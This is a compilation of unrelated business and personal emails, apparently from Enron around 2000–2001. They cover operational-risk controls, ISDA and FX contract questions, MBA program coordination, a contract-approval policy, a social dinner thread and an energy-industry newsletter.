depth does report need to go to.  Note the doorstep review would be an end to 
end review for entire business unit and therefore is the independent review 
of the existing self assessment and would leverage the work by focusing the 
review effort on areas of concern, the actions plans in place and concluding 
on the 'mitigation of operational risk to an acceptable level'
Prioritisation made for BRM - which functions, NOT BUSINESS UNITS, require 
external independent review - highly leveraging the above self assessment and 
doorstep processes (could AA signoff simply by auditing our own internal 
governance process?) - most likely reviews completed on functions that 
assessed as concerns across multiple business - such as FX exposure 
management, cash management, credit exposure management, IT change management 
controls/process

Where are we NOW - if we all thought to do this immediately

We do not have bottom up operational risk assessment for all businesses - I 
am suggesting that we demand that all business controllers at the Houston 
offsite do this? 23rd Oct
The above would validate a high level operational risk summary that we as 
senior controllers could put together for the audit committee - last week Oct
We agree on a robust tracking process - throw out one of the BRM and Doorstep 
databases - November
Given AA have never historically risk rated their issues we should repopulate 
the database from scratch - November
Review Doorstep plan to check that our risk rating for business units and 
remote offices means that we have resource focused correctly - do we need to 
visit all? - November
Review all of the above and blend into risk based approach for BRM planning - 
end November to end December !!

Wow - lets chat about this

Mike

Attachment 1

Attachment 2 - the areas where a judgement should be proactively made by each 
business unit controller -

Business oversight
System development project and change management
People management - coaching and skills/headcount gaps
Model Review
Stress testing and business risk identification
Operational capacity assessment signoff
Error management

Control Cycle
Risk Management Control
Recognition of risk origination
Monitoring of trading activities - limit checking, trader mandates
Specific transaction analysis - DASH, CACS etc
Transaction capture - deal form analysis and risk management system input
Logistics support - delivery position analysis, incoming and outgoing invoice 
maintenance, post deal execution contract management
Portfolio edits - required amendments to previously transacted risk/contracts
Market risk/position signoff - both transaction specific and portfolio 
management
DPR production and signoff
Limit excession reporting
Market risk feeds to GRMS - review VAR applicability (backtesting?)
Credit risk review - liaison with RAC over provisioning for credit charges
Price input checking and verification
Reserving and income recognition issues
Weekly Executive Summary
Monthly Revenue Summary

Documentation
Documentation generation
Re-review of contract loading in risk management system
Affirmation chasing
Broker information reconciliation

Trade Accounting
General Ledger account ownership
Balance sheet to CPR reconciliation
Accounts receivable maintenance/monitoring
Accounts payable maintenance/monitoring
Monthly management accounts by profit centre/business segment
Inter company/inter entity reconciliation differences
Legal entity balance sheet analysis for Fin Ops

Settlements
Outgoing invoice generation
Incoming invoice reconciliation
Exchange statements reconciliation
OTC brokerage charges reconciliation and processing
Nostro reconciliations
Cash management liaison

I saw him this morn, and asked if he called you.  call him tomorrow or thurs, 
and i'll follow up......

Nathaniel Jeppson <Njeppson@ALLENCO.COM> on 01/23/2001 11:35:26 AM
To: "'Jeffrey.A.Shankman@enron.com'" <Jeffrey.A.Shankman@enron.com>
cc:  
Subject: RE: follow-up

Jeff,
Congratulations on yesterday's earnings release - the market reacted well.
Feedback I got from a large bank on the street is that they always recommend
buying ENE in the weeks leading up to earings releases.  I don't want to be
a pain, but you had said to let you know if I had not heard from Jeff by
today.  I'm happy to be the one to make the call - just let me know.

Halley and Michael's opening was quite successfull and the show is great.
have fun in London.
Nat

Mark Taylor is at ENW's Management Offsite at the Houstonian today, 
Wednesday, May 30.  He may be reached through his pager
numerically at 877-855-2081 or you may leave an email message at 
8778552081@pagenetmessage.net.

The Houstonian phone number is 713-680-2626; the group is meeting in the 
Cottonwood Room.

Thank you,

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/10/2000 
01:28 PM ---------------------------

Carrie Miller <cmiller@rice.edu> on 11/10/2000 10:26:52 AM
To: (Recipient list suppressed)
cc: castro@rice.edu, spradlin@rice.edu 
Subject: Rice University ALP program -- December 1st deadline

On behalf of the Jones Graduate School at Rice University, we would like to
thank all of the company representatives who have submitted Action Learning
Project (ALP) proposals. Currently, the ALP faculty committee is reviewing
all proposals received.

We also want to remind those who are planning to submit proposals of our
December 1st deadline. Please keep us updated on the status of your
project. We are happy to answer any questions or provide assistance.

Our goal is to have a good mix of projects from a variety of companies, and
we are also pleased to accept multiple projects from one company. Thus far,
many of our proposals are marketing and/or strategy related. To increase
the diversity of projects, we are especially looking for ideas that give
our students the opportunity to utilize finance skills. Of course, an ideal
project is one that allows a student to use multiple skills.

Again, thank you for your continued interest in Rice University and the
Jones School ALP program.

Carrie Miller                                           Pam
Castro
Director of MBA Program                         MBA Program Associate
Phone:  (713) 348-5260                                  Phone: (713) 348-6223
Fax:  (713) 348-5251                                    Fax: (713) 348-5251
E-mail:  cmiller@rice.edu                               E-mail:
castro@rice.edu

The Stevens co.#4 dehy has been shutdown to make repairs and will be down 3 to 4 days.

Dear Mr. Kaminski,

The following are the faculty details:

Ms. Deborah J. Barrett
Instructor & Dir., MBA Communications
Phone 713-348-5394
barrett@rice.edu

Mr. Wil Uecker
Associate Dean for Executive Education
Phone 713-348-5869
uecker@rice.edu

Mr. Dennis Wayne Loughridge
Adjunct Professor-Management
Phone 713-348-4869
lounghrid@rice.edu

I will also speak with the faculty and inform them about the details
concerning the presentation on May 7 at Enron office (time to be determine)
and the dinner following it.

Luigi Calabrese
Rice MBA Candidate
Class of 2002

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Mike,
 I have checked with the credit group and the suggested changes to the 
confidentiality agreement and to Exhibit "C" and "D" are acceptable.  They 
did point out a typo in the collateral threshold provision.  It should read 
$1,500,000 instead of $1,5000,000.  Please accept the redlined changes to the 
documents and make the above correction and the documents should be ready for 
you to start the execution process.  I am informed that credit will not make 
any changes of the $1,500,000 collateral threshold amount until they have had 
an opportunity to review the Ormet financial information.  Thereafter we can 
work on an amendment if they feel that the financial information warrants 
making a change.

	"Mike Cesario" <MCesario@ormet.com>
	12/12/2000 10:53 AM
		 
		 To: <Craig.Breslau@enron.com>, <Dan.J.Hyvl@enron.com>
		 cc: "Mark Kleinginna" <MKleinginna.WheelingPO.Wheeling_Domain@ormet.com>, 
"Tommy Temple" <TTemple.WheelingPO.Wheeling_Domain@ormet.com>
		 Subject: Ormet Documents

Attached is a marked-up draft of the Enron standard confidentiality 
agreement.  Please review it and get back to me with your comments.

Additionally, I have attached a copy of the Firm Purchase/Sale Agreement that 
makes Ormet's changes to the Guarantee Agreement on Exhibit D consistent on 
the Exhibit C Guarantee Agreement.

Pending your comments on the Confidentialty Agreement, the only item 
outstanding is the $1.5 million collateral threshhold.

I look forward to hearing from you as soon as possible.

Thanks,
Mike

 - Enron_CA.doc
 - Enron_Agreement.doc

 Everybody,

As Vince suggested, I made a topical allocation of our new website for 
quality control.  Can you please check out in detail, and put through the 
paces, the following list?  

Weather   Mike 

Links    Maureen

Technical Analysis  Steve Bigalow

Options Library   Zimin (this is a big one!!)

European Weather  Jose

Agricaltural Weather  Jose (be sure and run spell check!!!)

Weather Derivatives  Stephen

Presentations   Tanya

Nuclear Outage Updates  Sam 

FX and Sovergn Risk  Maureen

Industry Analysis   Vasant

Publications   Osman

Research Intelligence  Stinson

Hot Button #8   Vince 

Thanks, just email me with any problems or ideas for adds/changes

- - - Mike

Paul:
Can you help me with this as we are trying to finalize the ISDA this week?  
Thanks.

EB 3892
----- Forwarded by Carol St Clair/HOU/ECT on 06/19/2000 10:00 AM -----

	06/13/2000 10:08 AM
		 
		 To: Paul Simons/LON/ECT@ECT
		 cc: 
		 Subject: FX/Currency Option Questions

Paul:
Shari recommended that I forward these questions to you.  We are trying to 
finalize an ISDA Master with dresdner bank in Germany and they wanted to make 
some chnages to our FX and Currency Option language which I have attached.  
Can you help me with this?

EB 3892
----- Forwarded by Carol St Clair/HOU/ECT on 06/13/2000 10:03 AM -----

	05/09/2000 11:54 AM
		 
		 To: Shari Stack/HOU/ECT@ECT

Shari:
I am negotiating an ISDA with Dresdner Bank and I have the following 
questions concerning their mark-up of the FX/Currency Option language:

1. In the EMU Protocol language they want to add a reference to Section 6.  
I'm not sure why but wanted your thoughts on this.  Are there any 
circumstances under which we do not adopt the Protocol provisions?

2. They want to define the FX Definitions as the 1998 FX and Currency Option 
Definitions as amended and supplemented by the 1998 ISDA Euro Definitions.  
Is this okay?  What is the effect of this?  Should we change our form to do 
this?  With respect generally to the FX and Currency Option Definitions, as a 
general rule are they always incorporated by reference into the terms of any 
FX and Currency Option transaction even if it is electronically confirmed?  
They wanted to add language to that section of our form specifically stating 
this.

Thanks in advance for your help.

Carol

I will send you a worksheet, but it's not done yet.

Sent: Thursday, April 19, 2001 4:22 PM
To: Radous, Paul
Subject: WEXFORD- Valentis/ CD Holdings

Paul:  Were you going to send me a worksheet or email?
Given that this is a long term deal, do you want to set a deadline for 
negotiating an ISDA (and make it an event of default)?

----- Forwarded by Sara Shackleton/HOU/ECT on 04/19/2001 04:19 PM -----

	Caroline Abramo@ENRON 04/19/2001 02:20 PM 	   To: Sara Shackleton/HOU/ECT@ECT  
cc: Carol St Clair/HOU/ECT@ECT, Paul Radous/Corp/Enron, Fred 
Lagrasta/HOU/ECT@ECT  Subject: WEXFORD- Valentis/ CD Holdings

We are trying to do a deal with Valentis Investors LLC (we have an LLC 
agreement for this entity) and CD Holdings (I do not have the LLC agreement 
for them- do you need?).  Valentis is part of Wexford V- a fund owned by 
Wexford Capital.   Paul Radous has all these linkage documents- he originally 
sent them up to Carol.

Valentis and CD Holdings jointly own some oil and gas properties. They would 
like to transact a hedge of these properties- they would like to sell natural 
gas forward for 8 years.

The total notional on the deal is about 34M.. I have discussed this with Paul 
Radous.. he has suggested that we do this deal as a stand alone for the 
Valentis and CD Holding entities.. he is requesting initial margin of 
2million with a cap of 5 million.

They wanted to do this deal today (actually for the last week)... but we need 
to know if there are any legal objections... we will need a deemed ISDA like 
AIG.

Please give Paul and I a call when you have a minute.

Thanks,
Caroline

Tax:
The Enron entity executing the FX transaction as principal is ENA. 

However, note that for tax/legal the FX desk in London is run by Enron Europe 
Finance & Trading Limited ("EEFT") as agent for ENA. Our position is that ENA 
does not have a place of business in London. Therefore all the transactions 
managed by the London FX desk are arranged by EEFT as agent for ENA.

Because of this there is a need to identify which FX desk arranged the 
transaction and a possible solution to this is to have separate logins and 
logoffs for each FX desk during their hours of responsibility. This would 
enable transaction reports to be run which identify those transactions which 
took place during the period for which each FX desk was responsible for 
managing the FX positions. 

Regards
Janine

Dale Neuner
11/10/2000 22:31
To: Amita Gosalia/LON/ECT@ECT, Justin Boyd/LON/ECT@ECT, Brent 
Hendry/NA/Enron@Enron, Sara Shackleton/HOU/ECT@ECT, William 
Stuart/HOU/ECT@ECT, Jeff Blumenthal/HOU/ECT@ECT, Shane Dallmann/LON/ECT@ECT, 
Jason Althaus/Corp/Enron@Enron, Mark Dilworth/LON/ECT@ECT, Janine 
Juggins/LON/ECT@ECT
cc: Sheri Thomas/HOU/ECT@ECT, Jennifer deBoisblanc Denny/HOU/ECT@ECT, Robert 
B Cass/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT 

Subject: FX Issues

This e-mail is admittedly long, so I have classified the issues:

Legal/Tax Issue:

I have been told by the FX group here in Houston that London traders are able 
to act on the behalf of the US FX Desk because the transactions they do are 
for hedging purposes only (no proprietary trading). For example, the FX 
transactions that are done by Trena McFarland in London are done on the 
behalf of our Houston office, so Houston books the transaction, manages the 
risk, and writes the Confirmation in the name of ENA.

This being the case, (i) can we apply the same logic on the internal FX 
transactions that will be managed by both the US and UK traders and have the 
transacting entity as ENA (ii) if we do does it gives us the necessary tax 
relief, or (iii) should we stick the Metals structure where the transactions 
are offered by Enron North America, acting through it's agent, Enron Europe 
Finance and Trading Limited. While this may be an Internal Only Product Type 
today, what effect, if any, would the choice of trading entities have on our 
ability to offer these Products externally.

Technology Issue:

David - Stuart has explained to me that the US FX Desk now views these 
currency exchange products as financial products. This is contrary to 
previous discussions where we felt that any currency exchange involving an 
Index would be considered financial, while any 'strict exchange' would be 
considered a physical transaction. The change is based on conversations 
Stuart has had with the Metals traders wherein they would like to see this 
exchange product as a financial product. If we accept this logic, (i) do I 
need to create a Deal Type for 'Par Forward Swap' for the first FX Index 
Product Type that we did as well as a 'Forward Swap' for these transactions, 
or is it acceptable to leave these both as swaps, and (ii) regardless of the 
Deal Type classification discussed in (i), I will need to create a new 
Product Type for the 'strict exchange' - either as a physical or financial 
product. Additionally, if I set this up as Financial Product, I have the 
Index attribute in the template to contend with, because there is no Index; 
and if I set this up as a Physical Product, I have the Location attribute to 
contend with, because there is no Location. Naturally we can put something 
cheesy in to fill the gap since it's internal, but if we ever decide to go 
external we will need a new template - and from experience with the PJM Power 
(Weather Desk) Product Type, templates requires an 'and if' statement are 
hard to develop.

Dale

i think we would all be extremely disappointed if you didn't.  kasey walker, 
now where is that school pride?

"Kasey Walker" <kaseywalker@mindspring.com> on 12/12/2000 07:04:34 PM
To: <ljahnke@aerotek.com>, "Susan Edwards" <susan_s_edwards@yahoo.com>, 
<sscott5@enron.com>, "Ash Mace" <ashley.a.mace@williams.com>, 
<Lisa.Gillette@enron.com>, <elaina5@hotmail.com>, "Katy Hester" 
<katyhester@hotmail.com>, "Emily Hillegeist" <ehillegeist@hotmail.com>, 
<Kelbarker@aol.com>, <sonderfan@hotmail.com>, <lodgesarah@hotmail.com>, 
"Laura White" <LWhite@StageStores.com>, <Corinne_Connally@Dell.com>
cc:  

Subject: Re: Christmas Dinner

Sounds great! Can I wear my CCC letter jacket?
Kasey

From: "Laura Jahnke" <ljahnke@aerotek.com>
To: "Susan Edwards" <susan_s_edwards@yahoo.com>; <sscott5@enron.com>; "Ash
Mace" <ashley.a.mace@williams.com>; <Lisa.Gillette@enron.com>;
<elaina5@hotmail.com>; "Katy Hester" <katyhester@hotmail.com>; "Emily
Hillegeist" <ehillegeist@hotmail.com>; <Kelbarker@aol.com>; "Kasey Walker"
<kaseywalker@mindspring.com>; <sonderfan@hotmail.com>;
<lodgesarah@hotmail.com>; "Laura White" <LWhite@StageStores.com>;
<Corinne_Connally@Dell.com>
Sent: Tuesday, December 12, 2000 7:20 AM
Subject: Christmas Dinner

> Girls-
> Thank you for the responses.  So far it has been overwhelmingly
> positive!  I really can't wait to get us all together.  Emily had
> suggested Ousies's Table-as well as a coworker of mine.  Yesterday
> during our lunch break we went and looked at Ousies's and it seems
> pretty cute.  Unfortunately they were not open, but I heard they light
> it up at night and it is supposed to be really pretty.  The other
> suggestion is Benji's.  Lis-you made a good point.  It would be nice to
> try somewhere new.
> I have not heard from Sarah or Kelly-so if you talk to them-please pass
> them the message.  I know Kelly usually checks her email, but I am not
> sure about Sarah.  If anyone has a number for her-let me know.  I also
> haven't heard from Susan Scott-so Lisa- you are in charge of that.
> Ashley-I know you've gotten this message-so reply!  : )
> Corinne-Sorry that you will not be able to make it. : (  If anything
> changes-let us know.
> Jen's flight comes in around 7 that night-so I thought we would make the
> reservations for 8-830 so she has time to make it.
> Let me know what ya'll think.
> -Laura
>
>

>  Mary/Holli--FYI.
>
>  <<FINAL_Sch_Proc_2_12.doc>>  <<FINAL_Remote_Res_2_12.doc>>
> <<FINAL_Sheltering_2_12.doc>>  <<FINAL_Redispatch_Curt_2_13.doc>>
> <<FINAL_ATC_2_12.doc>>
>
>
Al Paschke

 - FINAL_Sch_Proc_2_12.doc
 - FINAL_Remote_Res_2_12.doc
 - FINAL_Sheltering_2_12.doc
 - FINAL_Redispatch_Curt_2_13.doc
 - FINAL_ATC_2_12.doc

Can you resend this file as regular Excel or Word file?
  I am unable to read it.

"Conrad Neal" <cneal@bluegate.com> on 12/29/2000 09:46:19 AM
Please respond to <cneal@bluegate.com>
To: "'Neal, Scott'" <sneal@enron.com>, "'Neal, Todd'" <todd.neal@chron.com>, 
"'Neal, John'" <muddywaters@hubserv.com>
cc:  
Subject: Willis Tree Farm Taxes

I paid the Farm taxes today leaving a small balance in the account. Please
call me today and I will give you the Wells Fargo account number for you to
make your deposits direct. Thanks.

Dad

 - winmail.dat

I am still reviewing the terms of the original stock purchase to see if there 
are any problems potentially imposed by our warrant acquisition.  I assume, 
for example, that we do not want the common stock that we obtain from the 
warrant to be subject to any of the rights-of-first refusal and other 
restrictions that applied to the original shares.  

Nevertheless, in the interest of time, I have sent some preliminary comments 
to the Asset Purchase Agreement that are specific to the warrants and 
securities laws. 

Ed,

Although this email was directed to EI lawyers, I was under the impression 
that this was a Corp policy.  Maybe I was wrong.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 07/27/2000 11:55 

Dianne Langeland
09/29/1999 01:41 PM
To: Denise Almoina/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Yao 
Apasu/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cheryl 
Arguijo/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lillian 
Bailey/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David K 
Bargainer/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michelle 
Blaine/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Martha 
Braddy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sarah 
MacDonald/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kathleen 
Carnahan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Connie 
Castillo/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Julia H 
Chin/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Wade Cline, Jan 
Cooley/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Nancy 
Corbet/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ned E 
Crady/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Luis 
Derrota/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Scott 
Dieball/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Margaret 
Doucette/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Katherine 
Ehrmentraut/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Edwin 
Essandoh/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Joanne 
Garner/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rosalinda V 
Gonzalez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Amador 
Granado/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sheila 
Graves/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sam 
Guerrero/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lauren Hagerty, Karen L 
Harrison/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Karen 
Hedley/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sheila 
Hester/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Debra 
Hicks/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michelle 
Hicks/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kelly Noel 
Higgason/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Robin 
Hill/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Wendi 
Hoelscher/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Janice 
Hollaway/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Suzanne A 
Kelly/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, William 
Krenz/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Laurie 
Lee/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Maxine E 
Levingston/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Annette 
Lopez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bruce 
Lundstrom/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kay 
Mann/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Liz N 
Martinez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mary G 
Martinez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, MaryHelen 
Martinez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Darlene 
McKeever/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Veronica 
Montiel/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Nancy 
Muchmore/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bonnie 
Nelson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Paulette 
Obrecht/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Shirley 
Oliver/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Larry 
Pardue/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Diana 
Parker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jana L 
Paxton/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Martin W 
Penkwitz/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Carmen 
Perez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Francisco Pinto 
Leite/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Andrew 
Ralston/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Daniel R 
Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Deborah 
Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David L 
Roland/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Carlos 
Ryerson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Frank 
Sayre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, John 
Schwartzenburg/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Tami 
Scrudder/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Hong 
Shen/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Louis 
Sherrod/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lupita 
Velasquez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, John 
Viverito/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Debbie 
Wallace/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael 
Warner/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Candy 
Willard/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Robert C 
Williams/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Gerry 
Willis/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Priscilla 
Zavala/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: Consulting/Service Agreements

The following is just a reiteration of the Legal Department's procedure for 
handling Consulting and/or Service Agreements.  Attached are the current 
authorized approval forms for these types of agreements.

All executed consulting/service agreements should be sent to my attention in 
Contract Compliance & Administration Department for input into the Legal 
Database, filing and archiving.  Please direct any comments or questions 
regarding this procedure to me.  I am located at 3AC-1989 and my extension is 
6-7213.  

The policy for handling consultant agreements and fee payments is as follows:

 (1) The Consulting Agreement must have prior approval as indicated by the 
attached Consultant Approval Form before execution by the parties.   
  (Agreements which were entered into prior to August 8, 1999, required Joe 
Sutton's approval rather than the Regional CEO.)
  
 (2) The fully executed agreement along with the approval form is then sent 
to Contract Compliance & Administration in the Legal Department to 
                                my attention for inputting into the Legal 
Database.

 (3) Typically,  the consultant fees are not paid until the above has been 
accomplished.    

The policy for handling service contracts and fee payments is essentially the 
same.  

 (1) The Service Contract must have prior approval as indicated by the 
attached Service Contract Approval Form before execution by the parties.
  (Agreements which were entered into prior to August 8, 1999 required Joe 
  
 (2) The fully executed agreement along with the approval is then sent to 
Contract Compliance & Administration in the Legal Department (now to my   
attention) for inputting into the Legal Database.

 (3) As with Consulting Agreement, typically,  the service contract fees are 
not paid until the above has been accomplished.

When we receive the fully executed agreement, along with fully executed 
approval form, we will enter into the Legal Database.  We are unable to do so 
without these documents.

If you have any questions regarding the above, please do not hesitate to call 
me.

Thanks,

Dianne
x6-7213

I talked with Richard and asked that we have a time to talk generally about the process for holding an auction and what we need to include in CA's and Info Memo's etc. I will copy Kay to see if she thinks her meeting with you about the Westinghouse turbines and maybe the City of Austin deal will fill up the hour that she has reserved for the meeting room.  If not, could we have a general discussion about auctions at say 10:30?  Kay do you mind if we have a larger crowd in your meeting?

From: 	"Spiers, Jeffrey" <jeffreyspiers@akllp.com>@ENRON  
Sent:	Wednesday, December 19, 2001 2:00 PM
To:	Tweed, Sheila
Subject:	Meeting Tomorrow

Sheila, I am meeting with Kay Mann and others tomorrow at 10:00 to talk
about power projects FYI

Start Date: 4/22/01; HourAhead hour: 24;  No ancillary schedules awarded.  

Schedules\2001042224.txt

+++ Hour 24 - bad data from ISO.
  TRANS_DATE: 4/22/01
  TRADING_SC: ECH1
  PNT_OF_INTRC: NP15
  PURCH_SALE: 2
  DEAL_NO: 1

     Details: (Hour: 24 / Preferred:  70.85 / Final:  70.82)

----- Forwarded by Mark Taylor/HOU/ECT on 08/25/2000 11:47 AM -----

	RRichards@milbank.com
	08/25/2000 10:40 AM
		 
		 To: craig.clark@enron.com, ryan.siurek@enron.com, clint.walden@enron.com, 
kevin.d.jordan@enron.com, mark.taylor@enron.com, 
brent.vasconcellos@enron.com, annmarie.tiller@enron.com
		 cc: 
		 Subject: FW: Delta

From:?? Richards, Raymond 
Sent:?? Friday, August 25, 2000 6:02 AM 
To:???? 'doug.mcdowell@enron.com'; 'gareth.bahlmann@enron.com'; 
'Fcochran@velaw.com'; 'acurry@velaw.com'; 'mary.cook@enron.com'

Cc:???? Richards, Raymond 
Subject:??????? Delta 

Attached below please find the following documents marked to show changes 
from the last draft distributed: 

(1)? Enron/Delta Swap Confirmation; 
(2)? Enron/Citibank Swap Confirmation; 
(3)? Enron/Delta Fiscal Agency Agreement; and 

Enron/Citibank Fiscal Agency Agreement.? 

Please note that the attached have not been reviewed by Citibank and 
therefore remain subject to their comments as well as the continuing internal 
review by Milbank, Tweed.? 

 <<REDLINE.DOC>>  <<REDLINE.DOC>>  <<REDLINE.DOC>>  <<REDLINE.DOC>> 

 - REDLINE.DOC

Payroll deductions and cost center billings for The Downtown Club (Met) memberships will terminate December 31, 2001.  Memberships will continue through a direct billing arrangement with The Downtown Club.  

As most of you are aware, Enron has maintained a valuable partnership with The Downtown Club for the past two years, and they have graciously offered the following for current and future members:  

	**********************************************************

The Downtown Club is pleased to continue to offer the preferred dues rates to current/former Enron employees.  The Downtown Club would like to assist you and keep you connected to the Downtown Community and help you maintain a healthy lifestyle during these challenging times.

Membership Offer:

1)     WAIVED Initiation Fee through 2/28/2002
2)     Sports Membership Preferred Monthly Dues of $62.79 (plus tax) honored 
		through December 2002
3)     All Memberships are via direct monthly billing to the member

For more information - please contact Membership at 713.652.0700.  

If you do not wish to keep your membership, please email your cancellation notice to mailto:georgia.fogo@enron.com as soon as possible.  

	*************************************

     The Downtown Club is pleased to partner with Resources Connection
                      for a wonderful Member Benefit:

       Join us December 20th  from 9 a.m. to  2 p.m .for a complimentary
                          Career Crisis Workshop
                       featuring Bonnie Monych, CPC

                               focusing on:
                        Dealing with career crisis
              Climate control  (What's hot and who's hiring)
                      Me, Inc.  (Marketing yourself)
  Lunch is provided   *     RSVP is required to Keith at 713.289.3853   *
                              Limited Seating

Thank you.  

Jane:
Refer to question #2 for the Gleason answer.  Please let me know if you have 
any other questions.
Ben

Attached is Enron Transportation Services Company's Weekly Report.  

stories.

Become a CERTIFIED POWER MARKETER

Attend:

FUNDAMENTALS OF POWER MARKETING
        Preconference Seminar March 14, 2001

at PMA's annual  spring POWER MARKETS 2001 Conference:

 "CRISIS AND OPPORTUNITY"
     March 15-16, 2001 Aladdin Hotel Las Vegas

and you can qualify to take the Certified Power Marketer examination.   The
exam is free to members of the Power Marketing Association.   (Individual
membership is $300, but members receive a $200 registration discount).

To learn more about becoming a Certified Power Marketer, download:

http://www.pmaconference.com/0103Agenda.pdf   and look to page 3 of the
brochure.

Take this opportunity to meet some of the tens of thousands of your fellow
power report readers in Las Vegas at CRISIS AND OPPORTUNITY:  POWER MARKETS
2001.  March 15-16, 2001.   For brochure, download:

NEW!!!

       CHARTWELL'S GUIDE TO E-BUSINESS IN THE ENERGY INDUSTRY 2001

has to offer!

* Customer segmentation and relationship management -- How utilities are 
using e-commerce options to address the particular needs of various customer 
groups.

* Electronic Products and Services -- From Internet billing to electronic 
energy usage data analysis, the details on which programs are successful and 
how to implement them.

* Customer Contact - how the Web is adding another important touchpoint with 
the customer.

* Technology considerations -- How utilities are handling the high-tech 
aspects of doing business with customers via the Internet.

Download brochure at

http://www.pmaconference.com/E-Business.pdf

Top Stories (March 2)

BUSH SAYS ENERGY SECURITY TO BE HIS PRIORITY
U.S. President George W. Bush said Friday that he will make energy security 
"a priority of American foreign policy." It requires "restoring American 
credibility with overseas suppliers and building strong relationships with 
energy-producing nations in our hemisphere," he said at a swearing-in 
ceremony for his Energy Secretary Spencer Abraham.
001/03/02/xh/0000-5054-us-energy

PACIFIC GAS & ELECTRIC AGREES TO SELL POWER LINES TO CALIFORNIA, SOURCES SAY
Marking a potential turning point in California's energy crisis, Pacific Gas 
and Electric has agreed to sell its transmission lines to the state as part 
of a larger deal to rescue the company from financial collapse, according to 
sources familiar with the negotiations.
http://199.97.97.163/IMDS%PMAKRT0%read%/home/content/users/imds/feeds/knightri
dder/2001/03/03/krtbn/0000-0314-SJ-POWER-DEAL

SOUTHERN COMPANY TO SPIN OFF MIRANT APRIL 2 AFTER IRS RULING
Southern Co. will spin off 80.3% of Mirant Corp.'s shares on April 2, to 
Southern Co. holders of record March 21. In a press release Friday, Southern 
Co. said it received a favorable Internal Revenue Service ruling concerning 
the tax-free distribution of 272 million Mirant shares.
03/02/eng-djn/eng-djn_140056_174_71534114331

MIDWEST ISO: 8 UTILITIES JOINED GRID OPERATOR BEFORE WEDNESDAY DEADLINE
The Midwest Independent Transmission System Operator Inc. said Friday that 
eight utilities submitted conditional applications this week to join the 
planned power grid operating group.
03/02/eng-djn/eng-djn_140057_171_893130457029

US FTC SEEKS INPUT FOR REPORT ON STATE RETAIL POWER PLANS
The U.S. Federal Trade Commission is seeking public comment for a report 
requested by House lawmakers assessing what state-sponsored retail power 
